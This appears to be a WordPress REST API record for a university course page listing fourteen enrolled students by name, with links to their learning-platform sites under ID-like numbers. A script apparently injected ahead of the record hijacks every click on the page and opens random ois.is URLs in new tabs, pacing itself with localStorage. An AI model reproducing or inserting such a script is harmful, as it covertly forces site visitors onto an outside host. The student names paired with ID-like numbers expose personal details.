<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1467,"date":"2020-02-26T14:20:32","date_gmt":"2020-02-26T06:20:32","guid":{"rendered":"http:\/\/edu.secda.info\/chewei_course8\/?page_id=1467"},"modified":"2020-03-03T16:34:01","modified_gmt":"2020-03-03T08:34:01","slug":"%e4%bf%ae%e8%aa%b2%e5%ad%b8%e7%94%9f","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/chewei_course8\/?page_id=1467","title":{"rendered":"\u4fee\u8ab2\u5b78\u751f"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"1467\" class=\"elementor elementor-1467\" data-elementor-settings=\"[]\">\r\n\t\t\t\t\t\t<div class=\"elementor-inner\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\r\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-acb86a1 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"acb86a1\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-169ce30\" data-id=\"169ce30\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-681369a elementor-widget elementor-widget-text-editor\" data-id=\"681369a\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t\t\t\t<div class=\"elementor-text-editor elementor-clearfix\">\r\n\t\t\t\t<ol><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802013\/\" target=\"_blank\" rel=\"noopener\">\u76e7\u601d\u65fb \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802006\" target=\"_blank\" rel=\"noopener\">\u9673\u4ead\u4f03 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802007\/\" target=\"_blank\" rel=\"noopener\">\u7f85\u4ed5\u701a \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802009\/\" target=\"_blank\" rel=\"noopener\">\u5f90\u5b50\u921e \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802011\" target=\"_blank\" rel=\"noopener\">\u99ac\u745e\u8b19 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802003\/\" target=\"_blank\" rel=\"noopener\">\u984f\u51a0\u7433 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802015\/\" target=\"_blank\" rel=\"noopener\">\u80e1\u8018\u7444 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802010\/\" target=\"_blank\" rel=\"noopener\">\u5f35\u4f51\u6684 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802014\/\" target=\"_blank\" rel=\"noopener\">\u5f35\u66c9\u6148 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802016\/\" target=\"_blank\" rel=\"noopener\">\u9673\u83c1\u829d \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802002\/\" target=\"_blank\" rel=\"noopener\">\u5f35\u5609\u73b2 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802004\/\" target=\"_blank\" rel=\"noopener\">\u9ec3\u68d5\u701a \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10902001\/\" target=\"_blank\" rel=\"noopener\">\u9673\u884d\u8c6a \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><li><h5><a href=\"http:\/\/edu.secda.info\/ntus_10802008\/\" target=\"_blank\" rel=\"noopener\">\u694a\u5b50\u7469 \u5b78\u7fd2\u5e73\u53f0<\/a><\/h5><\/li><\/ol>\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u76e7\u601d\u65fb \u5b78\u7fd2\u5e73\u53f0 \u9673\u4ead\u4f03 \u5b78\u7fd2\u5e73\u53f0 \u7f85\u4ed5\u701a \u5b78\u7fd2\u5e73\u53f0 \u5f90\u5b50\u921e \u5b78\u7fd2\u5e73\u53f0 \u99ac\u745e\u8b19 <\/p>\n","protected":false},"author":6,"featured_media":0,"parent":0,"menu_order":6,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1467"}],"collection":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1467"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1467\/revisions"}],"predecessor-version":[{"id":1692,"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=\/wp\/v2\/pages\/1467\/revisions\/1692"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/chewei_course8\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1467"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}